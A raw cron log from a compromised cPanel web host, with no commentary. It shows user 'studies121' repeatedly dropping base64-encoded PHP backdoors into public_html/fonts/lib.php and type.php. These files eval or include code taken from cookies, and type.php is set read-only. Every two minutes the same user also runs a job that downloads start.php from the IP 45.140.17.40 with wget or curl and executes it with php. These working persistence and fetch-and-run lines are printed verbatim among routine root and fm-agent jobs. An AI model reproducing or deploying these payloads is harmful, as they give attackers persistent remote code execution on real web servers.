Feb 22 13:16:01 ip-184-168-122-23 CROND[26690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:17:01 ip-184-168-122-23 CROND[27023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:17:01 ip-184-168-122-23 CROND[27025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:17:01 ip-184-168-122-23 CROND[27027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:17:01 ip-184-168-122-23 CROND[27029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:18:01 ip-184-168-122-23 CROND[27353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:18:01 ip-184-168-122-23 CROND[27357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:18:01 ip-184-168-122-23 CROND[27358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:18:01 ip-184-168-122-23 CROND[27355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:18:01 ip-184-168-122-23 CROND[27356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:19:01 ip-184-168-122-23 CROND[27682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:19:01 ip-184-168-122-23 CROND[27683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:19:01 ip-184-168-122-23 CROND[27684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:19:01 ip-184-168-122-23 CROND[27685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:20:01 ip-184-168-122-23 CROND[28030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:20:01 ip-184-168-122-23 CROND[28029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:20:01 ip-184-168-122-23 CROND[28035]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 13:20:01 ip-184-168-122-23 CROND[28036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:20:01 ip-184-168-122-23 CROND[28040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:20:01 ip-184-168-122-23 CROND[28042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:20:01 ip-184-168-122-23 CROND[28044]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 13:20:01 ip-184-168-122-23 CROND[28047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:20:01 ip-184-168-122-23 CROND[28048]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:21:01 ip-184-168-122-23 CROND[28384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:21:01 ip-184-168-122-23 CROND[28386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:21:01 ip-184-168-122-23 CROND[28385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:21:01 ip-184-168-122-23 CROND[28387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:22:01 ip-184-168-122-23 CROND[28802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:22:01 ip-184-168-122-23 CROND[28805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:22:01 ip-184-168-122-23 CROND[28804]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:22:01 ip-184-168-122-23 CROND[28806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:22:01 ip-184-168-122-23 CROND[28808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:23:01 ip-184-168-122-23 CROND[29117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:23:01 ip-184-168-122-23 CROND[29118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:23:01 ip-184-168-122-23 CROND[29121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:23:01 ip-184-168-122-23 CROND[29123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:24:01 ip-184-168-122-23 CROND[29467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:24:01 ip-184-168-122-23 CROND[29468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:24:01 ip-184-168-122-23 CROND[29469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:24:01 ip-184-168-122-23 CROND[29472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:24:01 ip-184-168-122-23 CROND[29473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:25:01 ip-184-168-122-23 CROND[29825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:25:01 ip-184-168-122-23 CROND[29826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:25:01 ip-184-168-122-23 CROND[29827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:25:01 ip-184-168-122-23 CROND[29831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:25:01 ip-184-168-122-23 CROND[29832]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:25:01 ip-184-168-122-23 CROND[29833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:26:01 ip-184-168-122-23 CROND[30147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:26:01 ip-184-168-122-23 CROND[30149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:26:01 ip-184-168-122-23 CROND[30151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:26:01 ip-184-168-122-23 CROND[30150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:26:01 ip-184-168-122-23 CROND[30152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:27:01 ip-184-168-122-23 CROND[30470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:27:01 ip-184-168-122-23 CROND[30474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:27:01 ip-184-168-122-23 CROND[30472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:27:01 ip-184-168-122-23 CROND[30475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:28:01 ip-184-168-122-23 CROND[30861]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:28:01 ip-184-168-122-23 CROND[30862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:28:01 ip-184-168-122-23 CROND[30865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:28:02 ip-184-168-122-23 CROND[30864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:28:02 ip-184-168-122-23 CROND[30867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
